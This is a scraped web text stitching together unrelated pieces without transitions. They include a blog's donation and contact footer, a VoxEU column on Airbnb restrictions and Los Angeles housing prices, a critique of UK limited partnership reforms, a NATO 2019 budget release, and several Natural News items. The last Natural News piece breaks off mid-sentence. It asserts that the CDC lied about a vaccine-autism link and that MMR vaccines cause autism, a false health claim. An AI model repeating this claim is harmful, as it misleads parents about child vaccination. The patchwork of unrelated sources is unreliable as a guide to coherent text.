OFF. You can go back to FB just being a fun way to keep in touch with distant friends and family. I thought this was the best tip: [Block] EVERY SINGLE THIRD-PARTY LINK. Even, and especially, this is *crucial,* the things that you agree with or that get an emotional rise out of you. Block it all. ESPECIALLY the stuff you like, cause if its putting up stuff you like, then the algorithm is working, it has its hooks in. Horrible but true! * * * Readers, feel free to contact me at lambert [UNDERSCORE] strether [DOT] corrente [AT] yahoo [DOT] com, with (a) links, and even better (b) sources I should curate regularly, (c) how to send me a check if you are allergic to PayPal, and (d) to find out how to send me images of plants. Vegetables are fine! Fungi are deemed to be honorary plants! If you want your handle to appear as a credit, please place it at the start of your mail in parentheses: (thus). Otherwise, I will anonymize by using your initials. See the previous Water Cooler (with plant) here. Todays plant (PM): PM: Everything is still blooming here in sunny Tucson, AZ. [lambert snarls]. * * * Readers: Water Cooler is a standalone entity not covered by the annual NC fundraiser, now completed. So do feel free to make a contribution today or any day. Here is why: Regular positive feedback both makes me feel good and lets me know Im on the right track with coverage. When I get no donations for five or ten days I get worried. More tangibly, a constant trickle of small donations helps me with expenses, and I factor that trickle in when setting fundraising goals. So if you see something you especially appreciate, do feel free to click below! (The hat is temporarily defunct, so I slapped in some old code.) Or Subscribe to make a monthly payment! Yves here. This is an important analysis. Even though it confirms what would seem intuitively obvious, that Airbnb helps investor/owners and hurts renters, Airbnb boosters have tried arguing that restrictions on short-term rentals would not produce the desired effect. The data from Los Angeles shows the reverse, particularly in tourist areas. By Hans Koster, Associate Professor; Jos van Ommeren, Professor of Urban Economics; and Nicolas Volhausen, Research Analyst, McKinsey; PhD student; all of Vrije Universiteit Amsterdam. Originally published at VoxEU Short-term rental platforms such as Airbnb have grown spectacularly in recent years, and local governments around the globe have responded differently in regulating such rentals. This column analyses the effects of a policy change in several cities of Los Angeles County that restricted short-term rentals of entire homes and apartments. Airbnb has led to an increase in house prices that is particularly pronounced in popular tourist areas, and homeowners in these areas lose out from the regulation. Renters, on the other hand, benefit from the regulation. Short-term rental platforms such as Airbnb have grown spectacularly in recent years. Since its launch in 2007, Airbnb has grown into a multibillion-dollar business, now offering more than 4.5 million listings in over 190 countries worldwide. Airbnb allows individuals to list their spare room or entire apartment for a self-established price to potential guests from all over the world. Particularly in heated housing markets, the new business model developed into an attractive opportunity for generating alternative income streams. However, the surge in popularity of these platforms has also led to substantial opposition because of decreasing housing affordability (Samaan 2015, Sheppard and Udell 2016), illegal hotelisation and unfair competition (CBRE 2017), and other negative effects such as noise disturbance or overcrowding within and around buildings (Newling 2016). Local governments around the globe have responded differently towards regulating short-term rentals. Most cities have not significantly regulated these platforms, but a limited number have put severe restrictions in place. Berlin, for instance, requires short-term-rental hosts to occupy the property for at least 50% of the time (OSullivan 2016). San Francisco imposes a cap of a maximum 90 rental days per year and a 14% hotel tax (i.e. Transient Occupancy Tax) (Fishman 2015), while Amsterdam will impose a 30-rental-days cap from 2019 onwards. The effect of such regulations appears straightforward: basic economic theory tells us that in the absence of negative externalities, such regulation induces a reduction in housing prices (and rents) by restricting the most efficient use of housing. This reduction will be particularly pronounced in locations that are attractive to tourists. However, the presence of substantial negative externalities may lead to the exact opposite: regulation may induce prices (and rents) to increase because the reduction in negative external costs due to regulation will increase residential demand. Hence, the net effects of short-term rentals on the housing market are still unknown. The Case of Los Angeles There are numerous reports indicating a strong positive relationship between property values and the intensity of short-term rentals. However, calling out Airbnb as the culprit of rising housing prices and rents is problematic, since many cities have become increasingly popular among both locals and tourists in recent years, leading to higher housing prices and a higher number of Airbnb listings. In our paper (Koster et al. 2018), we overcome this challenge by relying on a quasi-experimental research design for Los Angeles County. Similar to other cities, Airbnb rapidly grew in a decade from just a handful of listings to close to 40,000 properties in Los Angeles County (Inside Airbnb 2018). While many municipalities still struggle with putting up regulatory measures to curb the surge of short-term rentals, 18 out of 88 incorporated cities in Los Angeles County have severely restricted short-term rentals of entire homes and apartments by adopting home sharing ordinances (HSOs). These HSOs essentially banned informal short-term rentals: hosts renting out entire properties became subject to the same formal regulations as hotels and bed and breakfasts. Home-sharing through Airbnb (as well as long-term renting) is not prohibited but restricted. Figure 1 Airbnb in Los Angeles County There are several reasons why we focus on Los Angeles County. First, it is the most populous county in the US and its main locality, the City of Los Angeles, has not yet formally regulated short-term rentals or enforced a comprehensive regulation (see Figure 1). This enables us to focus on changes in the number of Airbnb listings as well as housing prices close to the HSO-regulated places. We use micro-data on Airbnb listings and housing prices between 2014 and 2018. Our data allow us to distinguish between effects on different types of listings (home-sharing, entire properties), as well as on the prices of different types of housing (apartments, single-family homes). We also extend the results to include effects on rents. Our empirical approach relies on a panel regression discontinuity design, where we compare listings that were affected by HSOs (treatment group) with nearby listings that remained unaffected by the legislation (comparison group). The borders of the HSO-affected cities serve as a geographic cut-off point, which assigns listings into either the treatment or comparison group. This quasi-experimental research design enables us to measure the causal effect of the HSO on Airbnb listings and housing prices. Measuring the Causal Effect of Airbnb on the Housing Market First, we estimate the effect of HSOs on a propertys probability of being listed on Airbnb. In Figure 2A, we plot this probability. We observe a sizable drop in listings in HSO-affected areas. Given an average probability of being listed of about 30%, the ordinance strongly reduces the number of Airbnb listings by around 30%. We plot the effect over time in Figure 3A and show that the reduction in listings is about 5060% in the long run. Hence, in line with anecdotal evidence, this suggests that HSOs are very effective in reducing short-term rentals. Figure 2 Airbnb listings and housing prices: Variation near the HSO borders Note: Negative distances indicate areas outside HSO areas, and areas inside HSO areas before treatment. The dots are conditional averages at every 200-metre interval. The dotted lines denote 95% confidence intervals. Figure 3 The effect of the HSO on listings and housing prices over time Note: The dotted lines denote 95% confidence intervals. One expects a negative effect of the HSO on housing prices (except when negative externalities are substantial). We now compare changes in housing prices near the HSO borders. Figure 2B suggests that housing prices have been reduced by about 3%. The effect turns out to be highly significant statistically and although we examine effects at a very local level (within one kilometre of the border), we show with more elaborate statistical techniques that the estimated effect is very robust to the choice of the geographic focus. This effect becomes more pronounced over time (see Figure 3B). We also analyse the impact of HSOs on rents and show that the effects are essentially the same. Using these estimates, we estimate the overall impact of Airbnb on property values and show that the effect can be large. For example, in areas within five kilometres of Los Angeless central business district, the price increase is 14%. Within 2.5 kilometres of beaches, the price increase due to Airbnb is almost 10%. Hence, in areas that are attractive to tourists, prices are substantially higher, while in areas without much tourist demand (e.g. Pasadena), effects are small. Policy Implications What can we say about the distributional and welfare effects of Airbnb regulation? Using a back-of-the-envelope calculation, we show that regulating Airbnb has stark distributional implications. A regulation implies losses for homeowners, which are substantial for individuals who live in areas popular with tourists. The opposite holds for households who typically rent, who can only gain from such a regulation. Given the average housing price in HSO cities and given our assumptions, this therefore implies an annual welfare loss due to HSOs of about $680 per property. The intuition for such a substantial loss is that the investors willingness to pay is much higher than the willingness of the incumbent households being priced out of the market. There are clear distributional implications of the HSO. We show that rents will decrease due to the HSO, so the average renter will gain. Because of the HSOs, homeowners lose, while renters tend to gain. This offers a plausible explanation as to why cities around the world that have heavily restricted short-term rentals typically have a high share of renters. See original post for references British company structures which hide the identity of those behind them were branded a disgrace by the whistleblower who brought to light an alleged 200 billion euro (178 billion pounds) money laundering scandal involving Danske Bank (DANSKE.CO). The role of the United Kingdom is an absolute disgrace. Limited liability partnerships and Scottish [limited] partnerships have been abused for absolutely years, Howard Wilkinson, who headed Danske Banks Baltics trading unit from 2007 to 2014, told European Union lawmakers on Wednesday. Reuters, Nov 21st 2018 Consultation outcome, Limited partnerships: reform of limited partnership law, Dec 10th 2018 By Richard Smith It rather looks as if the recently-concluded consultation, by the UKs Department for Business, Energy & Industrial Strategy (BEIS), on Limited Partnership Reforms, has been somewhat overtaken by events in Denmark (and Estonia), does it not? But in fact, if you apply the Governments standard of evidence to the latest news, it makes no difference at all: its just more allegations. In my previous post I provided three years news headlines covering the involvement of UK Limited Partnerships in a third of a trillion dollars-worth of international financial crime. Above, we see the UK Governments unpromisingly insipid and non-committal summary of this global bacchanalia of fraud and money laundering. That certainly sets expectations, and indeed, as we dive into the detail of the reform proposals, we find that after two years of consultation, UKG still really doesnt get it. Here are the main proposals from the consultation. Those registering Limited Partnerships must demonstrate they are registered with an official anti-money laundering supervised agent, such as an accountant or a lawyer, or an overseas equivalent. This looks like a great idea, and in fact, in a previous round of reform consultations, your scribe recommended it. But heres Transparency International, 9th November 2017: Transparency International UK has analysed 52 cases of global corruption amounting to 80 billion and found hundreds of UK registered shell companies at the heart of these scandals. At the same time the UKs system to prevent this abuse is failing. This new research, Hiding in Plain Sight, has found 766 companies registered in the UK that have been directly involved in laundering stolen money out of at least 13 countries. These companies are used as layers to hide money that would otherwise appear suspicious, and have the added advantage of providing a respectability uniquely associated with being registered in the UK. Our evidence has shown this is no accident. The UK is home to a network of Trust and Companies Service Providers (TCSPs) that operate much like Appleby and Mossack Fonseca companies at the heart of the Paradise and Panama Papers who create these companies on behalf of their clients. TCSPs will register these companies to UK addresses, often nothing more than mailboxes. This has created company factories, where thousands of companies can be registered to unoccupied buildings with little to suggest any meaningful business occurs. We found half of the 766 questionable companies we identified were registered to only 8 separate addresses in one instance a run-down building, next to a bank on Potters Bar High Street. With the UK as a destination of choice for those seeking to hide illicit wealth, the UKs own defence mechanisms have proven to be woefully inadequate. Just six staff in Companies House are charged with policing 4 million companies, TCSPs have a poor track record of identifying and reporting money laundering with only 77 of the 400,000 suspicious activity reports filed last year coming from this sector. Meanwhile TCSPs can set up companies in the UK even if they are not registered or based here. This means they avoid being subject to UK regulation, and instead are bound by local laws, which are often unenforced or so weak as to be ineffective. In fact, many of the TCSPs behind the boom in anonymous LPs already put their identifying details on the registration forms, and are already supervised by HMRC. They continue to operate, unsanctioned and unperturbed. In the absence of well-funded, energetic, coherent supervision, convincing enforcement, and a higher bar for TCSP registration and supervision, not only in the UK, but overseas, none of which is to be expected in the short term, if at all, the potential impact of the scheme proposed by BEIS is quite likely to be nil. Verdict: Dead On Arrival, But MIght Come To Life If We Ever Get Any Enforcement. The Limited Partnership must demonstrate an ongoing link to the UK, for example by keeping its principal place of business in the UK Theres more about the principal place of business (PPoB) in the detail: The Government believes it is vital for LPs registered in the UK under this countrys legal framework to maintain some demonstrable link to the UK. The Government intends to request information about a LPs connection to the UK (a) on application for registration, and (b) on an ongoing basis. On an application for registration a LP must provide a proposed PPoB in the UK. LPs are diverse in terms of the ways they are established and used and so the Government intends therefore to offer LPs a choice in how to demonstrate their ongoing connection to remain eligible as a LP. A LP will need to either: o retain their PPoB in the UK; o demonstrate that they are continuing some legitimate business activity at an address in the UK; or o demonstrate that they continue to engage the services of an agent that is registered with a UK AML supervisory body Well now: every single LP ever involved in a fraud has been able to comply with the requirement to retain its PPoB in the UK, and will continue to be able to do so. In other words, this reform does absolutely nothing to mitigate abuse. Verdict: Dead On Arrival. Confirmation Statements Heres the detail: The Government is convinced that there is merit in all LPs being required to file a confirmation statement at least every 12 months. The Government intends to introduce this requirement for confirmation statements from LPs in England and Wales, and Northern Ireland; this requirement is already mandatory for SLPs. Submission of a confirmation statement every 12 months does nothing to confirm the information is accurate. This measure delivers nothing apart from an annual hint that the LP might still be conducting business, somewhere on the planet. a slight increase in the torrents of unverified claims that already flow into and out of Companies House. Verdict: Not Quite Dead On Arrival But Not Much of an Anti-Abuse Mechanism. Registration particulars and accounts Heres the detail: 23. Based on the evidence submitted the Government does not consider the case has been made for all LPs to prepare accounts and reports in line with limited companies. However, where there are any gaps in the requirements for partnerships to file basic accounts with the UK government, the Government will close those gaps in a way that is not burdensome or duplicative. Furthermore, there is evidence from a number of respondents to suggest that it would not be controversial to provide some of the other information that is required on a companys registration documents. 25. Additionally, the Government considers that the information currently required of LPs on applications for registration should be expanded and be confirmed by the confirmation statement. Currently, new registrations for LPs in England, Wales and Northern Ireland require: o The name of the firm o The general nature of the business o Address of the proposed principal place of business of the LP o The term, if any, for which the LP is to be entered into o The names and signatures of each general partner o The names, amounts contributed and signatures of each limited partner o The name of the presenter and the presenters reference 26. In addition to this information, SLPs must also provide information about persons with significant control (PSC). 27. The Government intends to add to this list the following information: contact information for all limited and general partners, the date of birth and nationality of all limited and general partners that are natural persons, and also a SIC (standard industrial classification) code, identifying the nature of the LPs business. That proposal misses the point with terrifying precision. It increases the transparency of a few hundred LPs that have natural persons as partners (which arent abused much, so far, though heres a harbinger, Rix Europe(an) LP), but does nothing at all to increase the transparency of tens of thousands LPs that have offshore corporations as partners (which are abused, allegedly, to the tune of multiple hundreds of billions of dollars). So: where is the requirement to disclose the registered number and register location for LP partners that are corporations, not natural person? This disclosure requirement was introduced in 2017 for Scottish Qualifying Partnerships (which have no history of abuse) but not for Scottish Limited Partnerships that have offshore corporate partners (and those are the very SLPs that have a huge history of abuse). This omission might sound trivial, but it has the side-effect of perpetuating another bizarre feature of LPs, their arcane and unenforceable accounting rules (overview; detail; amendments), which work like this If the General Partner is a natural person, no public accounts need to be filed. If one General Partner is a UK LLP, no public accounts need to be filed. If the General Partners include one or more UK Limited companies, but no LLPs, then the LP accounts must be filed at Companies House, under the name of each of the UK Limited companies. If the General Partners are all non-UK Limited companies registered in the EEA, then the LP accounts must be filed at the register of each of the EEA Limited companies, under the name of each of the EEA Limited companies. If the general partners are all non-EEA Limited companies, then the accounts must be made available for inspection at the registered UK place of business in UK, or, if there is no UK place of business, at a nominated address in the UK. Failure to comply with these rules attracts a Level 5 fine (currently 5,000). However, it would be most unwise to conclude, from the size of the penalty, that the drafters took compliance and enforcement at all seriously when they produced these regulations. For some reason I imagine them emitting cretinous sniggers as they get stuck into the drafting. A worked example illustrates the scale and nature of the problem that results from these rules. Consider Hilux Services LP. This LP, now dissolved, allegedly laundered $1.7Bn, or other currency equivalent, in the Azerbaijan Laundromat. Hilux Services LP had a General Partner, Solberg Buisness Limited [sic], that is evidently a limited company in an undisclosed, but definitely non-UK jurisdiction: there is no such company as Solberg Buisness Limited at Companies House, whichever way you spell it. Prima facie, then, Hilux Services LP should be making its accounts available for inspection under the accounting rules. But where? Unfortunately, the required LP registration particulars, unamended since 1907, still do not include the registration number and register location of any corporate partners. Accordingly, the search for Hilux Services LPs accounts has to cover the following possibilities. If Solberg Buisness Limited is a non-UK Limited company registered in the EEA, Hilux Services LPs accounts will presumably have been filed in some non-UK EEA company register. In this case, the only way to track down the LPs accounts is to visit every single non-UK EEA company register, in the hope of finding its General Partner, and thus, the LP accounts. Only after a fruitless and expensive search of all these registers can one safely conclude that the General Partner is in fact a non-EEA limited company, and thus, that its accounts might be found either at its registered place of business or at a nominated address. Next, then, one considers Hilux Services LPs registered place of business, 111 West George Street, Glasgow, G2 1QX. This is a maildrop. A call to the maildrop provider, Mailboxes Etc. (0141 222 2527) readily establishes that no LP accounts at all are held at that address. So perhaps, then, Hilux Services LPs accounts are to be found at a nominated UK address. Unfortunately, the mechanism by which a UK address may be nominated is undocumented, and, in particular, unknown to Companies House, who, when quizzed on how an address is nominated, recommended the author take legal advice. As it happens, my legal advisor recommends consulting the entrails of chickens, for a steer on how a nominated address might be identified. In short, the combined effect of the absurdly convoluted accounts rules, and the inadequate registration disclosures, and the mysterious nominated address mechanism, is that it is impossible for any person to be sure, at a reasonable expenditure of time and budget, whether or not Hilux Services LP, and many thousands of other similarly-configured LPs, ever filed any accounts at all, somewhere or other. The lunacy does not stop there. The accounts regulations simply state that the members of the qualifying partnership must make the latest accounts of the partnership available for inspection by any person, without charge and during business hours, at the head office of the partnership. Whether the head office is the same as the principal place of business is unclear. Nor is any deadline specified for making the latest accounts of the partnership available for inspection; apparently an LP could promise to produce its accounts, then temporise for ever. Now then: all of the LPs involved in financial crime, proved or alleged, Scottish or otherwise, appear to have corporate partners, offshore. If so, they are legally required to make their accounts available for inspection, somewhere. Since their PPoBs are in fact maildrops, it is easy to verify that none of them have ever lodged accounts there. That looks like large scale lawlessness, at 5,000 per transgression, but that is the strongest claim we can make: the combined effect of these legislative and operational lacunae is to make the accounting rules unenforceable. Note also that the accounts filing requirement can still be avoided by appointing a General Partner that is a UK LLP, an expedient that happens not to have been adopted, so far, by the creators and users of the type of LP typically involved in large scale financial crime. Presumably they just arent that well versed in the minutiae of LP law; they should read this blog. Verdict: Dead On Arrival. Admittedly a workable accounting rule would be no silver bullet, by itself. One should remember that LLPs and Limited Companies, which have a much more comprehensive accounting requirement than SLPs, have been just as heavily abused (see the Russian and Azerbaijan Laundromat stories). BBC File on 4 recently highlighted a case of a UK LLP that turned over some $800,000,000 in two years, according to its leaked bank statements, while filing accounts that recorded annual expenses of 1,500 and annual revenue around 20,000 for the same two years. Frequently, the abusive LLPs and Limited companies are created by the very same agents that have registered abusive SLPs. Without enforcement, none of your fancy pants laws and regs work at all. Beneficial Ownership Information At the moment, SLPs are required to disclose a PSC, if they feel like it; English and Northern Irish LPs are not; and thats that. So, heaven knows what this means: The Government will undertake further work to explore whether to require beneficial ownership information from corporate partners that do not already hold a PSC register. This will take into account the value to law enforcement of this information; their relevance to the UKs compliance with international standards; the existing reporting requirements of these entities; and the potential burden of introducing these reporting requirements. Verdict: Unintelligible. Why do the proposals not make a simple declaration that the PSC disclosure requirement, flawed as it is, for the moment, will be extended to English and NI LPs? We have already seen some displacement of dubious registration activity from SLPs to NI and English LPs in the last 18 months, and expect this to continue. As soon as PSCs were required to be disclosed, SLP registrations decreased sharply. At exactly the same time, ELP and NILP registrations, by the same agents responsible for the boom in anonymous SLPs, shot up. Verdict: piecemeal reforms simply displace the abuse. Note also, that out of the SLPs in the offshore category registered after the PSC scheme was extended to SLPs, 40% simply deny, perfectly legally, that they have a PSC, so theyre as opaque as ever. Thousands more havent made a PSC statement at all, more than a year after the requirement was introduced, according to the answer to a recent parliamentary question, nicely timed to coincide with the reform announcement, but remain unsanctioned. So thats the PSC scheme for you, and UK enforcement of it. Striking off defunct LPs Heres the detail: For the register of companies to be transparent and reliable, the Government considers it essential that it should contain information that is up to date and accurate and therefore intends to grant the Registrar the power to strike off LPs that are dissolved or which the Registrar concludes are not carrying on business or in operation. The Registrars new powers will be subject to following a robust notification procedure for strike off in respect of dissolved LPs and LPs which are no longer carrying on business, at least as strong as the procedure that is already in place for companies. The Government will continue discussing with stakeholders how to design a process that ensures, as far as is possible, that all general and limited partners are given due notice that an LP is being considered for strike off. The Government recognises that particular safeguards will be needed in applying this to historic LPs that were registered many years ago. The Government will also consider the circumstances when it would be appropriate to restore a LP, and an appropriate procedure for the restoration of a LP that has been struck off. At the moment, the SLP register is a mess. Where is the budget to scan 50,000 LP filing histories, in order to identify and strike off, inter alia, the 12,000+ SLPs that have already made filings to the effect that the partnership is dissolved? Agents have even developed a nasty habit of dissolving SLPs and then undissolving them again months or years later. See the bizarre filing history of Mainhold Products LP for one of dozens of examples. Where, for that matter is the power to strike off miscreant LPs In the public interest, or disqualify delinquent General Partners? Last of all, in the absence of enforced and enforceable accounts reporting requirements, how on earth will CH determine that an LP is no longer carrying on business? Presumably one can keep an LP alive simply by filing a confirmation statement (annual cost 17). Does the non-filing of a PSC statement imply the LP is no longer carrying on business? That seem like an obvious criterion to apply, but it is nowhere to be found in the response. Verdict: Half-Dead On Arrival. Overall Summary: were not quite out of the starting blocks here yet, are we, BEIS? Nature has manufactured the perfect machines. Only the fastest, toughest, and most cunning creatures have endured. We examine how animals have evolved and how we can benefit from their evolution. Sundays from 8:30pm AEDT. NATO Allies have agreed the civil and military budgets for 2019. At a meeting of the North Atlantic Council on Tuesday (18 December 2018), Allies agreed a civil budget of 250.5 million and a military budget of 1.395 billion for 2019. All member countries contribute to these budgets, according to an agreed cost-sharing formula based on Gross National Income. In the face of a more demanding security environment, NATO continues to adapt including through the modernization of the NATO Command Structure, and a functional review of the Alliances Headquarters in Brussels. NATO Secretary General Jens Stoltenberg welcomed the agreement of the budgets, saying: The world is changing, and NATO is adapting. Allies are investing in NATO to address the challenges of our time, including cyber and hybrid threats, a more assertive Russia, and instability across the Middle East and North Africa. NATO is committed to ensuring that we continue to keep our people safe, in a way that is both effective and financially responsible. The civil budget provides funds for personnel, operating costs, and programme expenditures at NATO Headquarters in Brussels. The 2019 civil budget is 1.9% above the 2018 level, and includes funding to implement the functional review of NATO Headquarters. This includes measures to strengthen NATOs intelligence capabilities; anticipate and plan for cyber and hybrid challenges; improve the way the Alliance handles data as a strategic asset; increase defence cooperation with partners; and strengthen focus on the Women, Peace and Security agenda. To implement these measures, NATO will create thirty new posts in 2019. The military budget covers the operating costs of NATO Command Structure headquarters and programmes, missions and operations around the world. The 2019 military budget is 7.2% above the 2018 level. This includes funding for the Command Structure, which is currently being adapted including with a new Command for the Atlantic in Norfolk, Virginia, to ensure free sea lines of communication between Europe and North America; and a new Command in Ulm, Germany to improve the movement of troops and equipment in Europe. In July, Allied leaders agreed to increase the size of the command structure by around 1,200 people a process that will take approximately three years. In 2019, 273.2 million of the military budget will go toward funding NATOs missions and operations, including the Resolute Support Mission in Afghanistan; the KFOR peace support operation in Kosovo; and NATOs new training mission in Iraq, launched at the Brussels Summit in July 2018. Separately, NATOs AWACS surveillance aircraft whose missions include flights over eastern Europe and support for the Global Coalition to Defeat ISIS will receive 262 million in operations and support funding. In addition to the civil and military budgets, the Alliances third principal common funded element is the NATO Security Investment Programme (NSIP). Covering major construction and command and control system investments, the 2019 ceiling for the NSIP is 700 million. (Natural News) Recently uncovered documents now show that the FBI engaged in the warantless collection of data on Reddit co-founder and hacktivist Aaron Swartz and then later used that information against him in a completely unrelated case at a later date. The baseless collection of information on Americans without provocation is a blemish on our society to begin with, but to then use that information at a later date, in an unrelated investigation, is even worse. The FBI has long advocated for expanding its power to collect information on innocent Americans private communications, and it is not the only administrative agency looking to grow its authority. The rise of the fourth branch of government (administrative agencies) has given the federal government a direct route to circumventing the constitutional rights of the American people and the FBIs targeting of Aaron Swartz is surely proof of that. Swartz co-founded Reddit, a popular social media platform, and was a famed digital activist prior to his death-by-suicide in 2013. Without a warrant Nearly two years before the federal government would begin investigating Swartz activities, the FBI captured his email address during a counterterrorism investigation. While Swartz was most likely not their intended target, the FBI stored his information anyway and retrieved it over a year later, when the agency was investigating him for another, unrelated charge. In November 2008, the FBI would attempt to charge Swartz for downloading millions of court files from an online system known as PACER. However, officials would ultimately conclude that because those documents belonged to the public, no crime had actually been committed. But, they were determined to try and find something at that time. Writing for Gizmodo, Dell Cameron reports; Drawing from information published on Wikipedia and using investigative tools such as Accurint, FBI employees began quietly building a profile of the oft-described technology wunderkind, noting, for example, his involvement in the creation of the formatting language Markdown and RSS 1.0, and jotting down the various code frameworks that Swartz had helped to create and organizations that he had helped to found. Eventually, with all open source avenues exhausted, an FBI employee sat down at a computer terminal that, to most people, would appear plucked straight from the 1980s. The employee ran a search using the bureaus automated case support system, a portal to the motherlode of FBI investigative files. Ultimately, FBI employees found a case number linked to Swartz, 315T-HQ-C1475879. Those first three digits told them that Swartzs domain was linked to an international terrorism investigation, though not exactly how. The FBI then tried to use this information in the criminal case it was building against Swartz at a later time. In 2011, the government went after him for downloading millions of articles and documents from JSTOR, an expansive digital library of academic journals. The investigation led Swartz to take his own life in 2013. Backdoor searches As Cameron explains, That any information about Swartz was collected during an Al Qaeda investigation only to be retrieved nearly two years later for totally unrelated purposes adds a familiar and sympathetic face to a controversial procedure in intelligence gathering commonly referred to as a backdoor search.' Backdoor search tactics are highly controversial; the FBI is using a legal loophole to go about collecting and storing data on Americans not accused of crimes, and then using that information in other investigations which are not related to terrorism. This practice is considered unconstitutional by many. The details on how the FBI came to obtain Swartzs email remain a bit fuzzy, but the unwarranted collection of data on an American citizens should be concerning to all. See more coverage of the latest tech news at Glitch.news. Sources for this article include: TheGatewayPundit.com Gizmodo.com (Natural News) An oft-repeated lie of the gun-hating Left is that mass shootings are far more prominent in the United States compared to anywhere else in the world because everyday American citizens have the constitutional right to own guns. But as it turns out, the data most frequently presented to back this bizarre claim is patently false. Adam Lankford from The University of Alabama is the individual behind said data, with a paper he published back in 2013 claiming that countries with strict gun control dont have nearly as many mass shootings as the U.S. But when others attempted to replicate these findings, they were unable to come to the same conclusion. As reiterated by the far-Left rag Mother Jones, Lankfords study claims that, between the years of 1966 and 2012, there were 90 public mass shootings, defined as shootings that killed four or more victims. Of the 170 other countries that Lankford looked at, he claims that only four even made it to double-digits: The Philippines had 18 public mass shootings, followed by Russia with 15, Yemen with 11, and France with 10. It would seem, based on these numbers, that the U.S. does, in fact, lead the pack in terms of mass shootings. But are these numbers accurate? Not according to an alternative assessment, which found that Lankford had missed, or completely ignored, thousands of mass shootings that occurred throughout the world during the time-frame in question, to quote Awr Hawkins from Breitbart News. Leftist claims of mass gun violence throughout America are fake news After trying unsuccessfully to obtain and examine for himself the sources behind Lankfords study, John Lott from the Crime Prevention Research Center (CPRC) set out to try to replicate Lankfords study. What he ended up finding is that Lankfords data is completely skewed to make it appear as though the U.S. is some kind of extreme, gun violence war zone. On December 4, Breitbart News published the results of Lotts follow-up research, which demonstrated that the U.S. is not even in the top 50 in the per capita frequency on the list of countries that witnessed mass shootings from 1998 to 2015. And unlike Lankford, Lott is offering full transparency for anyone who wishes to validate his sources. Many journalists and researchers asked Lankford for his data. Not only did he refuse to share a list of his cases, or even the number of shootings he found in each country which are nowhere in his paper. He refused to share an explanation for how he found those cases. Thats academic malpractice, explains Lott in a video published to television personality and pundit John Stossels YouTube account. When asked if he used foreign languages to search for these shootings, Lankford stated: my data were not limited to English-language searches. When asked what languages he used, Lankford refused to provide that information. This is all the assistance I can provide at this time, Lankford said, Lott added. On the other hand, Lott is an open book to anyone whos interested in seeing where he obtained his data, which shows that the U.S. is far down on the list of countries with high rates of mass shootings. Unlike Lankford, we took a lot of time to find all the foreign cases we could, Lott says. We even got translators to identify cases using the same definition of mass public shooters that Lankford used and we found that he grossly undercounted foreign attacks. We counted well over 3,000 shooters at least 15 times more shooters as Lankford claimed. Of the 86 countries where weve identified any mass public shootings occurring, the United States ranked 62nd. Norway, Finland, Switzerland, and Russia are European countries with significantly higher rates of murders from mass public shootings. Be sure to watch the full video below: For more news about guns, check out Guns.news. Sources for this article include: Breitbart.com YouTu.be NaturalNews.com (Natural News) While Americans were preoccupied with presidential politics and brushfire wars in failed nation-states, Russia was busy refurbishing Cold War-era military bases in the Arctic and fortifying them with new offensive capabilities designed to allow Moscow to dominate the oil-and-gas-rich region. Though previous preparations and activities have already given Russia a substantial advantage in the Arctic, Moscow is preparing to do more, according to an announcement by the defense ministry this week, Agence France Presse reported. President Vladimir Putin has declared that the Arctic is of major strategic importance to Russia, both because the region promises new wealth in the form of oil and mineral deposits and because it provides his military with distinct advantages over the U.S. and NATO. Well finish building infrastructure in 2019 to accommodate air defense radar units and aviation guidance points on the Sredny and Wrangel Islands, and on Cape Schmidt, said Defense Minister Sergei Shoigu, AFP reported. He added that Russia had already upgraded or built accommodations for military personnel and additional aviation infrastructure elsewhere in the Arctic. Shoigu made his announcements during a meeting of the defense ministry that was also attended by Putin, who has also traveled to the Arctic several times in recent years, AFP noted. (Related: State Dept. says U.S. playing catch up with great powers in era of competition.) The Tass newswire service reported further: [Shoigu] added that within the program of establishing the Arctic infrastructure, reconstruction works were conducted at the Severomorsk-1 airfield (Murmansk Region), such as renovating the landing strip, constructing launch pads and building residential buildings for military personnel. Similar works continue at the Temp airfield on the Kotelny Island (located between the Laptev Sea and the East Siberian Sea in the Russian Arctic) Russia has some competition but Moscow had the early advantage In September, the Russian military showcased a new mobile coastal defense missile system the Bastion that the Kremlin plans to deploy in the region. Russian forces successfully test-fired the missile, which will be utilized throughout the Northern Fleets area of operation (AO). The coastal missile complex Bastion successfully conducted the missile shooting on targets, which shows its readiness to efficiently guard the Arctic and engage in the protection of Russian archipelagos and coastal zone, said Northern Fleet commander Adm. Nikolay Yevmenov. In addition to coastal missile systems, the Russian navys Northern Fleet AO has also received new military technology including the S-400 Triumpf air- and missile-defense system, one of the most sophisticated in the world. In addition, Russia has deployed S-300 systems to the Kola Peninsula and at various locations in Siberia, including the Novaya Zemlya, an archipelago in the Arctic that straddles the Barents and Kara seas. The region also provides the Russian ballistic missile submarines with a much shorter flight time to strike targets in the U.S. Russia isnt the only great power seeking to expand influence over the Arctic. Canada borders the Arctic Sea to its north, as does Alaska. China is also moving into the region as part of its Polar Silk Road project, CNBC reported. Estimates of untapped oil and natural gas are as high as $35 trillion, the financial news site noted, or about one-fifth of the worlds untapped, so-called fossil fuel resources. In addition, there are a range of mineable minerals in the region including gold, silver, diamond, copper, titanium, graphite, uranium, and other valuable rare earth elements, CNBC reported. Russia is better poised in the race for regional dominance, however. Moscow has been building a fleet of icebreakers including behemoth liquified natural gas (LNG) carriers that double as icebreakers and are 1,000 feet long. Also, the Russian-built 25,000-ton nuclear-powered Arktika-class ships are the largest in the world. Plus, when it comes to icebreakers, Moscow has more of them than the United States (41 to 2), with 11 more under construction. Read more about Russian challenges to U.S. national security at WeaponsTechnology.news. Sources include: TheNationalSentinel.com France24.com Tass.com Recklaus was referring to an incident on Nov. 11, when a 44-year-old man was critically injured after his car rolled over and slammed into the entrance of the new station just weeks before the project was scheduled to be completed. (Natural News) Now that its been exposed that the U.S. Centers for Disease Control and Prevention (CDC) has been lying about the connection between vaccines and autism for at least 14 years, many prominent doctors and health practitioners are now coming forward to corroborate the fact that vaccines are, in fact, harming children. Dr. Kenneth Aitken, M.D., a child psychologist from Great Britain, recently told The Telegraph that hes seen autism rates increase in conjunction with the MMR vaccine for measles, mumps, and rubella. When I was in training, one in 2,500 (children were autistic), Dr. Aitken told the U.K. paper. Now, it is one in 250. At the moment, the only logical explanation is MMR. Dr. Jane Orient, M.D., executive director of the Association of American Physicians and Surgeons and professor of clinical medicine at the Oregon Institute of Science and Medicine, has expressed similar feelings on the subject. There has been a frightening increase in cases of autism that has not been explained, she contends. There are a number of anecdotal reports from parents that symptoms of autism have appeared close to the time of the (MMR) vaccine. Beyond just autism, childhood illnesses in general are on the rise. And according to Dr. Harris Coulter, Ph.D., a 